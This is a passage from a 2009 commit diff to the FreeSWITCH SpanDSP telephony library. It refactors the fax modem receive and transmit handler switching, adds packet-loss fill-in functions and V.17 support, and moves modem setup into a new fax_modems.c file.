-        s->rx_handler = (span_rx_handler_t *) &v17_rx;
-        s->rx_user_data = &s->v17_rx;
+        set_rx_handler(t, (span_rx_handler_t *) &v17_rx, &s->v17_rx);
     }
     else
     {
@@ -136,8 +172,7 @@
             /* We have received something, and the fast modem has not trained. We must
                be receiving valid V.21 */
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
-            s->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            s->rx_user_data = &s->v21_rx;
+            set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
     }
     return 0;
@@ -157,8 +192,7 @@
         /* The fast modem has trained, so we no longer need to run the slow
            one in parallel. */
         span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.27ter (%.2fdBm0)\n", v27ter_rx_signal_power(&s->v27ter_rx));
-        s->rx_handler = (span_rx_handler_t *) &v27ter_rx;
-        s->rx_user_data = &s->v27ter_rx;
+        set_rx_handler(t, (span_rx_handler_t *) &v27ter_rx, &s->v27ter_rx);
     }
     else
     {
@@ -168,8 +202,7 @@
             /* We have received something, and the fast modem has not trained. We must
                be receiving valid V.21 */
             span_log(&s->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
-            s->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            s->rx_user_data = &s->v21_rx;
+            set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
     }
     return 0;
@@ -189,8 +222,7 @@
         /* The fast modem has trained, so we no longer need to run the slow
            one in parallel. */
         span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.29 (%.2fdBm0)\n", v29_rx_signal_power(&s->v29_rx));
-        s->rx_handler = (span_rx_handler_t *) &v29_rx;
-        s->rx_user_data = &s->v29_rx;
+        set_rx_handler(t, (span_rx_handler_t *) &v29_rx, &s->v29_rx);
     }
     else
     {
@@ -200,48 +232,15 @@
             /* We have received something, and the fast modem has not trained. We must
                be receiving valid V.21 */
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
-            s->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            s->rx_user_data = &s->v21_rx;
+            set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
     }
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-static void fax_fax_modems_init(fax_modems_state_t *s, int use_tep, void *user_data)
+SPAN_DECLARE(int) fax_rx(fax_state_t *s, int16_t *amp, int len)
 {
-    s->use_tep = use_tep;
-
-    hdlc_rx_init(&s->hdlc_rx, FALSE, FALSE, HDLC_FRAMING_OK_THRESHOLD, t30_hdlc_accept, user_data);
-    hdlc_tx_init(&s->hdlc_tx, FALSE, 2, FALSE, hdlc_underflow_handler, user_data);
-    fsk_rx_init(&s->v21_rx, &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) hdlc_rx_put_bit, &s->hdlc_rx);
-    fsk_rx_signal_cutoff(&s->v21_rx, -45.5);
-    fsk_tx_init(&s->v21_tx, &preset_fsk_specs[FSK_V21CH2], (get_bit_func_t) hdlc_tx_get_bit, &s->hdlc_tx);
-    v17_rx_init(&s->v17_rx, 14400, t30_non_ecm_put_bit, user_data);
-    v17_tx_init(&s->v17_tx, 14400, s->use_tep, t30_non_ecm_get_bit, user_data);
-    v29_rx_init(&s->v29_rx, 9600, t30_non_ecm_put_bit, user_data);
-    v29_rx_signal_cutoff(&s->v29_rx, -45.5);
-    v29_tx_init(&s->v29_tx, 9600, s->use_tep, t30_non_ecm_get_bit, user_data);
-    v27ter_rx_init(&s->v27ter_rx, 4800, t30_non_ecm_put_bit, user_data);
-    v27ter_tx_init(&s->v27ter_tx, 4800, s->use_tep, t30_non_ecm_get_bit, user_data);
-    silence_gen_init(&s->silence_gen, 0);
-    modem_connect_tones_tx_init(&s->connect_tx, MODEM_CONNECT_TONES_FAX_CNG);
-    modem_connect_tones_rx_init(&s->connect_rx,
-                                MODEM_CONNECT_TONES_FAX_CNG,
-                                tone_detected,
-                                user_data);
-    dc_restore_init(&s->dc_restore);
-
-    s->rx_signal_present = FALSE;
-    s->rx_handler = (span_rx_handler_t *) &span_dummy_rx;
-    s->rx_user_data = NULL;
-    s->tx_handler = (span_tx_handler_t *) &silence_gen;
-    s->tx_user_data = &s->silence_gen;
-}
-/*- End of function --------------------------------------------------------*/
-
-int fax_rx(fax_state_t *s, int16_t *amp, int len)
-{
     int i;
 
 #if defined(LOG_FAX_AUDIO)
@@ -256,6 +255,51 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+SPAN_DECLARE(int) fax_rx_fillin(fax_state_t *s, int len)
+{
+    /* To mitigate the effect of lost packets on a packet network we should
+       try to sustain the status quo. If there is no receive modem running, keep
+       things that way. If there is a receive modem running, try to sustain its
+       operation, without causing a phase hop, or letting its adaptive functions
+       diverge. */
+#if defined(LOG_FAX_AUDIO)
+    if (s->modems.audio_rx_log >= 0)
+    {
+        int i;
+#if defined(_MSC_VER)
+        int16_t *amp = (int16_t *) _alloca(sizeof(int16_t)*len);
+#else
+        int16_t amp[len];
+#endif
+
+        vec_zeroi16(amp, len);
+        write(s->modems.audio_rx_log, amp, len*sizeof(int16_t));
+    }
+#endif
+    t30_timer_update(&s->t30, len);
+    /* Call the fillin function of the current modem (if there is one). */
+    switch (s->modems.current_rx_type)
+    {
+    case T30_MODEM_V21:
+        len = fsk_rx_fillin(&s->modems.v21_rx, len);
+        break;
+    case T30_MODEM_V27TER:
+        /* TODO: what about FSK in the early stages */
+        len = v27ter_rx_fillin(&s->modems.v27ter_rx, len);
+        break;
+    case T30_MODEM_V29:
+        /* TODO: what about FSK in the early stages */
+        len = v29_rx_fillin(&s->modems.v29_rx, len);
+        break;
+    case T30_MODEM_V17:
+        /* TODO: what about FSK in the early stages */
+        len = v17_rx_fillin(&s->modems.v17_rx, len);
+        break;
+    }
+    return len;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int set_next_tx_type(fax_state_t *s)
 {
     fax_modems_state_t *t;
@@ -263,22 +307,20 @@
     t = &s->modems;
     if (t->next_tx_handler)
     {
-        t->tx_handler = t->next_tx_handler;
-        t->tx_user_data = t->next_tx_user_data;
+        set_tx_handler(s, t->next_tx_handler, t->next_tx_user_data);
         t->next_tx_handler = NULL;
         return 0;
     }
     /* If there is nothing else to change to, so use zero length silence */
     silence_gen_alter(&t->silence_gen, 0);
-    t->tx_handler = (span_tx_handler_t *) &silence_gen;
-    t->tx_user_data = &t->silence_gen;
-    t->next_tx_handler = NULL;
+    set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+    set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
     t->transmit = FALSE;
     return -1;
 }
 /*- End of function --------------------------------------------------------*/
 
-int fax_tx(fax_state_t *s, int16_t *amp, int max_len)
+SPAN_DECLARE(int) fax_tx(fax_state_t *s, int16_t *amp, int max_len)
 {
     int len;
 #if defined(LOG_FAX_AUDIO)
@@ -345,7 +387,7 @@
     {
         put_bit_func = (put_bit_func_t) hdlc_rx_put_bit;
         put_bit_user_data = (void *) &t->hdlc_rx;
-        hdlc_rx_init(&t->hdlc_rx, FALSE, FALSE, HDLC_FRAMING_OK_THRESHOLD, t30_hdlc_accept, &s->t30);
+        hdlc_rx_init(&t->hdlc_rx, FALSE, TRUE, HDLC_FRAMING_OK_THRESHOLD, t30_hdlc_accept, &s->t30);
     }
     else
     {
@@ -356,33 +398,28 @@
     {
     case T30_MODEM_V21:
         fsk_rx_init(&t->v21_rx, &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) hdlc_rx_put_bit, put_bit_user_data);
-        fsk_rx_signal_cutoff(&t->v21_rx, -45.5);
-        t->rx_handler = (span_rx_handler_t *) &fsk_rx;
-        t->rx_user_data = &t->v21_rx;
+        fsk_rx_signal_cutoff(&t->v21_rx, -45.5f);
+        set_rx_handler(s, (span_rx_handler_t *) &fsk_rx, &t->v21_rx);
         break;
     case T30_MODEM_V27TER:
         v27ter_rx_restart(&t->v27ter_rx, bit_rate, FALSE);
         v27ter_rx_set_put_bit(&t->v27ter_rx, put_bit_func, put_bit_user_data);
-        t->rx_handler = (span_rx_handler_t *) &v27ter_v21_rx;
-        t->rx_user_data = s;
+        set_rx_handler(s, &v27ter_v21_rx, s);
         break;
     case T30_MODEM_V29:
         v29_rx_restart(&t->v29_rx, bit_rate, FALSE);
         v29_rx_set_put_bit(&t->v29_rx, put_bit_func, put_bit_user_data);
-        t->rx_handler = (span_rx_handler_t *) &v29_v21_rx;
-        t->rx_user_data = s;
+        set_rx_handler(s, &v29_v21_rx, s);
         break;
     case T30_MODEM_V17:
         v17_rx_restart(&t->v17_rx, bit_rate, short_train);
         v17_rx_set_put_bit(&t->v17_rx, put_bit_func, put_bit_user_data);
-        t->rx_handler = (span_rx_handler_t *) &v17_v21_rx;
-        t->rx_user_data = s;
+        set_rx_handler(s, &v17_v21_rx, s);
         break;
     case T30_MODEM_DONE:
         span_log(&s->logging, SPAN_LOG_FLOW, "FAX exchange complete\n");
     default:
-        t->rx_handler = (span_rx_handler_t *) &span_dummy_rx;
-        t->rx_user_data = s;
+        set_rx_handler(s, (span_rx_handler_t *) &span_dummy_rx, s);
         break;
     }
 }
@@ -415,9 +452,8 @@
     {
     case T30_MODEM_PAUSE:
         silence_gen_alter(&t->silence_gen, ms_to_samples(short_train));
-        t->tx_handler = (span_tx_handler_t *) &silence_gen;
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = NULL;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         t->transmit = TRUE;
         break;
     case T30_MODEM_CED:
@@ -427,9 +463,8 @@
         else
             tone = MODEM_CONNECT_TONES_FAX_CNG;
         modem_connect_tones_tx_init(&t->connect_tx, tone);
-        t->tx_handler = (span_tx_handler_t *) &modem_connect_tones_tx;
-        t->tx_user_data = &t->connect_tx;
-        t->next_tx_handler = NULL;
+        set_tx_handler(s, (span_tx_handler_t *) &modem_connect_tones_tx, &t->connect_tx);
+        set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         t->transmit = TRUE;
         break;
     case T30_MODEM_V21:
@@ -441,10 +476,8 @@
            a 75ms gap before any V.21 transmission is harmless, adds little to the overall length of
            a call, and ensures the receiving end is ready. */
         silence_gen_alter(&t->silence_gen, ms_to_samples(75));
-        t->tx_handler = (span_tx_handler_t *) &silence_gen;
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &fsk_tx;
-        t->next_tx_user_data = &t->v21_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &fsk_tx, &t->v21_tx);
         t->transmit = TRUE;
         break;
     case T30_MODEM_V27TER:
@@ -453,10 +486,8 @@
         hdlc_tx_flags(&t->hdlc_tx, bit_rate/(8*5));
         v27ter_tx_restart(&t->v27ter_tx, bit_rate, t->use_tep);
         v27ter_tx_set_get_bit(&t->v27ter_tx, get_bit_func, get_bit_user_data);
-        t->tx_handler = (span_tx_handler_t *) &silence_gen;
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &v27ter_tx;
-        t->next_tx_user_data = &t->v27ter_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &v27ter_tx, &t->v27ter_tx);
         t->transmit = TRUE;
         break;
     case T30_MODEM_V29:
@@ -465,10 +496,8 @@
         hdlc_tx_flags(&t->hdlc_tx, bit_rate/(8*5));
         v29_tx_restart(&t->v29_tx, bit_rate, t->use_tep);
         v29_tx_set_get_bit(&t->v29_tx, get_bit_func, get_bit_user_data);
-        t->tx_handler = (span_tx_handler_t *) &silence_gen;
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &v29_tx;
-        t->next_tx_user_data = &t->v29_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &v29_tx, &t->v29_tx);
         t->transmit = TRUE;
         break;
     case T30_MODEM_V17:
@@ -477,10 +506,8 @@
         hdlc_tx_flags(&t->hdlc_tx, bit_rate/(8*5));
         v17_tx_restart(&t->v17_tx, bit_rate, t->use_tep, short_train);
         v17_tx_set_get_bit(&t->v17_tx, get_bit_func, get_bit_user_data);
-        t->tx_handler = (span_tx_handler_t *) &silence_gen;
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &v17_tx;
-        t->next_tx_user_data = &t->v17_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &v17_tx, &t->v17_tx);
         t->transmit = TRUE;
         break;
     case T30_MODEM_DONE:
@@ -488,9 +515,8 @@
         /* Fall through */
     default:
         silence_gen_alter(&t->silence_gen, 0);
-        t->tx_handler = (span_tx_handler_t *) &silence_gen;
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = NULL;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         t->transmit = FALSE;
         break;
     }
@@ -499,36 +525,48 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void fax_set_transmit_on_idle(fax_state_t *s, int transmit_on_idle)
+SPAN_DECLARE(void) fax_set_transmit_on_idle(fax_state_t *s, int transmit_on_idle)
 {
     s->modems.transmit_on_idle = transmit_on_idle;
 }
 /*- End of function --------------------------------------------------------*/
 
-void fax_set_tep_mode(fax_state_t *s, int use_tep)
+SPAN_DECLARE(void) fax_set_tep_mode(fax_state_t *s, int use_tep)
 {
     s->modems.use_tep = use_tep;
 }
 /*- End of function --------------------------------------------------------*/
 
-t30_state_t *fax_get_t30_state(fax_state_t *s)
+SPAN_DECLARE(t30_state_t *) fax_get_t30_state(fax_state_t *s)
 {
     return &s->t30;
 }
 /*- End of function --------------------------------------------------------*/
 
-fax_state_t *fax_init(fax_state_t *s, int calling_party)
+SPAN_DECLARE(logging_state_t *) fax_get_logging_state(fax_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(fax_state_t *) fax_init(fax_state_t *s, int calling_party)
+{
     if (s == NULL)
     {
         if ((s = (fax_state_t *) malloc(sizeof(*s))) == NULL)
             return NULL;
     }
-
     memset(s, 0, sizeof(*s));
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
     span_log_set_protocol(&s->logging, "FAX");
-    fax_fax_modems_init(&s->modems, FALSE, &s->t30);
+    fax_modems_init(&s->modems,
+                    FALSE,
+                    t30_hdlc_accept,
+                    hdlc_underflow_handler,
+                    t30_non_ecm_put_bit,
+                    t30_non_ecm_get_bit,
+                    tone_detected,
+                    &s->t30);
     t30_init(&s->t30,
              calling_party,
              fax_set_rx_type,
@@ -537,7 +575,7 @@
              (void *) s,
              fax_send_hdlc,
              (void *) s);
-    t30_set_supported_modems(&s->t30, T30_SUPPORT_V27TER | T30_SUPPORT_V29);
+    t30_set_supported_modems(&s->t30, T30_SUPPORT_V27TER | T30_SUPPORT_V29 | T30_SUPPORT_V17);
     t30_restart(&s->t30);
 #if defined(LOG_FAX_AUDIO)
     {
@@ -573,14 +611,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int fax_release(fax_state_t *s)
+SPAN_DECLARE(int) fax_release(fax_state_t *s)
 {
     t30_release(&s->t30);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int fax_free(fax_state_t *s)
+SPAN_DECLARE(int) fax_free(fax_state_t *s)
 {
     t30_release(&s->t30);
     free(s);

Copied: freeswitch/branches/seven/libs/spandsp/src/fax_modems.c (from rev 14471, freeswitch/trunk/libs/spandsp/src/fax_modems.c) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/fax_modems.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/fax_modems.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,323 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * fax_modems.c - the analogue modem set for fax processing
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003, 2005, 2006, 2008 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fax_modems.c,v 1.5 2009/04/12 03:29:58 steveu Exp $
+ */
+
+/*! \file */
+
+#if defined(HAVE_CONFIG_H)
+#include "config.h"
+#endif
+
+#include <inttypes.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#if defined(HAVE_TGMATH_H)
+#include <tgmath.h>
+#endif
+#if defined(HAVE_MATH_H)
+#include <math.h>
+#endif
+#include "floating_fudge.h"
+#include <assert.h>
+#include <fcntl.h>
+#include <time.h>
+#if defined(LOG_FAX_AUDIO)
+#include <unistd.h>
+#endif
+
+#include "spandsp/telephony.h"
+#include "spandsp/logging.h"
+#include "spandsp/bit_operations.h"
+#include "spandsp/dc_restore.h"
+#include "spandsp/queue.h"
+#include "spandsp/power_meter.h"
+#include "spandsp/complex.h"
+#include "spandsp/tone_detect.h"
+#include "spandsp/tone_generate.h"
+#include "spandsp/async.h"
+#include "spandsp/crc.h"
+#include "spandsp/hdlc.h"
+#include "spandsp/silence_gen.h"
+#include "spandsp/fsk.h"
+#include "spandsp/v29tx.h"
+#include "spandsp/v29rx.h"
+#include "spandsp/v27ter_tx.h"
+#include "spandsp/v27ter_rx.h"
+#include "spandsp/v17tx.h"
+#include "spandsp/v17rx.h"
+#include "spandsp/super_tone_rx.h"
+#include "spandsp/modem_connect_tones.h"
+#include "spandsp/fax_modems.h"
+
+#include "spandsp/private/logging.h"
+#include "spandsp/private/silence_gen.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/v17tx.h"
+#include "spandsp/private/v17rx.h"
+#include "spandsp/private/v27ter_tx.h"
+#include "spandsp/private/v27ter_rx.h"
+#include "spandsp/private/v29tx.h"
+#include "spandsp/private/v29rx.h"
+#include "spandsp/private/modem_connect_tones.h"
+#include "spandsp/private/hdlc.h"
+#include "spandsp/private/fax_modems.h"
+
+#define HDLC_FRAMING_OK_THRESHOLD               5
+
+SPAN_DECLARE(int) fax_modems_v17_v21_rx(void *user_data, const int16_t amp[], int len)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    v17_rx(&s->v17_rx, amp, len);
+    fsk_rx(&s->v21_rx, amp, len);
+    if (s->rx_frame_received)
+    {
+        /* We have received something, and the fast modem has not trained. We must
+           be receiving valid V.21 */
+        span_log(&s->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
+        s->rx_handler = (span_rx_handler_t *) &fsk_rx;
+        s->rx_user_data = &s->v21_rx;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_v17_v21_rx_fillin(void *user_data, int len)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    v17_rx_fillin(&s->v17_rx, len);
+    fsk_rx_fillin(&s->v21_rx, len);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_v27ter_v21_rx(void *user_data, const int16_t amp[], int len)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    v27ter_rx(&s->v27ter_rx, amp, len);
+    fsk_rx(&s->v21_rx, amp, len);
+    if (s->rx_frame_received)
+    {
+        /* We have received something, and the fast modem has not trained. We must
+           be receiving valid V.21 */
+        span_log(&s->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
+        s->rx_handler = (span_rx_handler_t *) &fsk_rx;
+        s->rx_user_data = &s->v21_rx;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_v27ter_v21_rx_fillin(void *user_data, int len)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    v27ter_rx_fillin(&s->v27ter_rx, len);
+    fsk_rx_fillin(&s->v21_rx, len);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_v29_v21_rx(void *user_data, const int16_t amp[], int len)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    v29_rx(&s->v29_rx, amp, len);
+    fsk_rx(&s->v21_rx, amp, len);
+    if (s->rx_frame_received)
+    {
+        /* We have received something, and the fast modem has not trained. We must
+           be receiving valid V.21 */
+        span_log(&s->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
+        s->rx_handler = (span_rx_handler_t *) &fsk_rx;
+        s->rx_user_data = &s->v21_rx;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_v29_v21_rx_fillin(void *user_data, int len)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    v29_rx_fillin(&s->v29_rx, len);
+    fsk_rx_fillin(&s->v21_rx, len);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void v21_rx_status_handler(void *user_data, int status)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void v17_rx_status_handler(void *user_data, int status)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    switch (status)
+    {
+    case SIG_STATUS_TRAINING_SUCCEEDED:
+        span_log(&s->logging, SPAN_LOG_FLOW, "Switching to V.17 (%.2fdBm0)\n", v17_rx_signal_power(&s->v17_rx));
+        s->rx_handler = (span_rx_handler_t *) &v17_rx;
+        s->rx_user_data = &s->v17_rx;
+        break;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static void v27ter_rx_status_handler(void *user_data, int status)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    switch (status)
+    {
+    case SIG_STATUS_TRAINING_SUCCEEDED:
+        span_log(&s->logging, SPAN_LOG_FLOW, "Switching to V.27ter (%.2fdBm0)\n", v27ter_rx_signal_power(&s->v27ter_rx));
+        s->rx_handler = (span_rx_handler_t *) &v27ter_rx;
+        s->rx_user_data = &s->v27ter_rx;
+        break;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static void v29_rx_status_handler(void *user_data, int status)
+{
+    fax_modems_state_t *s;
+
+    s = (fax_modems_state_t *) user_data;
+    switch (status)
+    {
+    case SIG_STATUS_TRAINING_SUCCEEDED:
+        span_log(&s->logging, SPAN_LOG_FLOW, "Switching to V.29 (%.2fdBm0)\n", v29_rx_signal_power(&s->v29_rx));
+        s->rx_handler = (span_rx_handler_t *) &v29_rx;
+        s->rx_user_data = &s->v29_rx;
+        break;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) fax_modems_start_rx_modem(fax_modems_state_t *s, int which)
+{
+    switch (which)
+    {
+    case FAX_MODEM_V17_RX:
+        v17_rx_set_modem_status_handler(&s->v17_rx, v17_rx_status_handler, s);
+        break;
+    case FAX_MODEM_V27TER_RX:
+        v27ter_rx_set_modem_status_handler(&s->v27ter_rx, v27ter_rx_status_handler, s);
+        break;
+    case FAX_MODEM_V29_RX:
+        v29_rx_set_modem_status_handler(&s->v29_rx, v29_rx_status_handler, s);
+        break;
+    }
+    fsk_rx_set_modem_status_handler(&s->v21_rx, v21_rx_status_handler, s);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) fax_modems_set_tep_mode(fax_modems_state_t *s, int use_tep)
+{
+    s->use_tep = use_tep;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(fax_modems_state_t *) fax_modems_init(fax_modems_state_t *s,
+                                                   int use_tep,
+                                                   hdlc_frame_handler_t hdlc_accept,
+                                                   hdlc_underflow_handler_t hdlc_tx_underflow,
+                                                   put_bit_func_t non_ecm_put_bit,
+                                                   get_bit_func_t non_ecm_get_bit,
+                                                   tone_report_func_t tone_callback,
+                                                   void *user_data)
+{
+    if (s == NULL)
+    {
+        if ((s = (fax_modems_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
+    memset(s, 0, sizeof(*s));
+    s->use_tep = use_tep;
+
+    hdlc_rx_init(&s->hdlc_rx, FALSE, FALSE, HDLC_FRAMING_OK_THRESHOLD, hdlc_accept, user_data);
+    hdlc_tx_init(&s->hdlc_tx, FALSE, 2, FALSE, hdlc_tx_underflow, user_data);
+    fsk_rx_init(&s->v21_rx, &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) hdlc_rx_put_bit, &s->hdlc_rx);
+    fsk_rx_signal_cutoff(&s->v21_rx, -39.09f);
+    fsk_tx_init(&s->v21_tx, &preset_fsk_specs[FSK_V21CH2], (get_bit_func_t) hdlc_tx_get_bit, &s->hdlc_tx);
+    v17_rx_init(&s->v17_rx, 14400, non_ecm_put_bit, user_data);
+    v17_tx_init(&s->v17_tx, 14400, s->use_tep, non_ecm_get_bit, user_data);
+    v29_rx_init(&s->v29_rx, 9600, non_ecm_put_bit, user_data);
+    v29_rx_signal_cutoff(&s->v29_rx, -45.5f);
+    v29_tx_init(&s->v29_tx, 9600, s->use_tep, non_ecm_get_bit, user_data);
+    v27ter_rx_init(&s->v27ter_rx, 4800, non_ecm_put_bit, user_data);
+    v27ter_tx_init(&s->v27ter_tx, 4800, s->use_tep, non_ecm_get_bit, user_data);
+    silence_gen_init(&s->silence_gen, 0);
+    modem_connect_tones_tx_init(&s->connect_tx, MODEM_CONNECT_TONES_FAX_CNG);
+    if (tone_callback)
+    {
+        modem_connect_tones_rx_init(&s->connect_rx,
+                                    MODEM_CONNECT_TONES_FAX_CNG,
+                                    tone_callback,
+                                    user_data);
+    }
+    dc_restore_init(&s->dc_restore);
+
+    s->rx_signal_present = FALSE;
+    s->rx_handler = (span_rx_handler_t *) &span_dummy_rx;
+    s->rx_user_data = NULL;
+    s->tx_handler = (span_tx_handler_t *) &silence_gen;
+    s->tx_user_data = &s->silence_gen;
+    return s;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_release(fax_modems_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fax_modems_free(fax_modems_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/filter_tools.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/filter_tools.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/filter_tools.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: filter_tools.c,v 1.8 2008/08/29 09:28:13 steveu Exp $
+ * $Id: filter_tools.c,v 1.10 2009/02/10 17:16:57 steveu Exp $
  */
  
 #if defined(HAVE_CONFIG_H)
@@ -35,13 +35,13 @@
 #include <inttypes.h>
 #include <stdlib.h>
 #include <unistd.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <string.h>
 #include <stdio.h>
 #include <time.h>
@@ -51,8 +51,12 @@
 #include "spandsp/complex.h"
 #include "filter_tools.h"
 
+#if !defined(FALSE)
 #define FALSE 0
+#endif
+#if !defined(TRUE)
 #define TRUE (!FALSE)
+#endif
 
 #define MAXPZ	    8192
 #define SEQ_LEN     8192
@@ -149,7 +153,7 @@
         if (f <= f1)
             vec[i] = complex_set(1.0, 0.0);
         else if (f <= f2)
-            vec[i] = complex_set(0.5*(1.0 + cos((3.1415926535*tau/beta) * (f - f1))), 0.0);
+            vec[i] = complex_set(0.5*(1.0 + cos((3.1415926535*tau/beta)*(f - f1))), 0.0);
         else
             vec[i] = complex_set(0.0, 0.0);
     }

Modified: freeswitch/branches/seven/libs/spandsp/src/floating_fudge.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/floating_fudge.h	2009-08-09 05:55:48 UTC (rev 14471)
